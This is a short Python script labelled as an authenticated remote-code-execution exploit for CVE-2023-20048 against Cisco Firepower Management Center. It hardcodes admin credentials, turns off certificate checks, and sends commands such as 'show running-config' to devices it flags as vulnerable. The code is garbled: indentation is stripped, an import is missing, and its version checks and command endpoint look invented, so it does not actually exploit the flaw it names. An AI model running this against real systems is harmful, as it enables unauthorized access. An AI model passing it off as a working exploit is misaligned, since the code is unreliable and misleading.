# set the variables for the URL, username, and password for the FMC web services interface
fmc_url = "https://fmc.example.com"
fmc_user = "admin"
fmc_pass = "cisco123"
# create a requests session to handle cookies and certificate verification
session = requests.Session()
session.verify = False
# send a POST request to the /api/fmc_platform/v1/auth/generatetoken endpoint to get the access token and refresh token
token_url = fmc_url + "/api/fmc_platform/v1/auth/generatetoken"
response = session.post(token_url, auth=(fmc_user, fmc_pass))
# check the response status and extract the access token and refresh token from the response headers
# set the access token as the authorization header for the subsequent requests
try:
if response.status_code == 200:
access_token = response.headers["X-auth-access-token"]
refresh_token = response.headers["X-auth-refresh-token"]
session.headers["Authorization"] = access_token
else:
print("Failed to get tokens, status code: " + str(response.status_code))
exit()
except Exception as e:
print(e)
exit()
# set the variable for the domain id
# change this to your domain id
domain_id = "e276abec-e0f2-11e3-8169-6d9ed49b625f"
# send a GET request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords endpoint to get the list of devices managed by FMC
devices_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords"
response = session.get(devices_url)
# check the response status and extract the data as a json object
try:
if response.status_code == 200:
data = response.json()
else:
print("Failed to get devices, status code: " + str(response.status_code))
exit()
except Exception as e:
print(e)
exit()
# parse the data to get the list of device names and URLs
devices = []
for item in data["items"]:
device_name = item["name"]
device_url = item["links"]["self"]
devices.append((device_name, device_url))
# loop through the list of devices and send a GET request to the URL of each device to get the device details
for device in devices:
device_name, device_url = device
response = session.get(device_url)
# check the response status and extract the data as a json object
try:
if response.status_code == 200:
data = response.json()
else:
print("Failed to get device details, status code: " + str(response.status_code))
continue
except Exception as e:
print(e)
continue
# parse the data to get the device type, software version, and configuration URL
device_type = data["type"]
device_version = data["metadata"]["softwareVersion"]
config_url = data["metadata"]["configURL"]
# check if the device type is FTD and the software version is vulnerable to the CVE-2023-20048 vulnerability
# use the values from the affected products section in the security advisory
if device_type == "FTD" and device_version in ["6.2.3.18", "6.4.0.16", "6.6.7.1"]:
print("Device " + device_name + " is vulnerable to CVE-2023-20048")
# create a list of commands that you want to execute on the device
commands = ["show version", "show running-config", "show interfaces"]
device_id = device_url.split("/")[-1]
# loop through the list of commands and send a POST request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords/{DEVICE_ID}/operational/command/{COMMAND} endpoint to execute each command on the device
# replace {DOMAIN_UUID} with your domain id, {DEVICE_ID} with your device id, and {COMMAND} with the command you want to execute
for command in commands:
command_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords/" + device_id + "/operational/command/" + command
response = session.post(command_url)
# check the response status and extract the data as a json object
try:
if response.status_code == 200:
data = response.json()
else:
print("Failed to execute command, status code: " + str(response.status_code))
continue
except Exception as e:
print(e)
continue
# parse the data to get the result of the command execution and print it
result = data["result"]
print("Command: " + command)
print("Result: " + result)
else:
print("Device " + device_name + " is not vulnerable to CVE-2023-20048")
Cisco firepower management center < 6.6.7.1 authenticated rce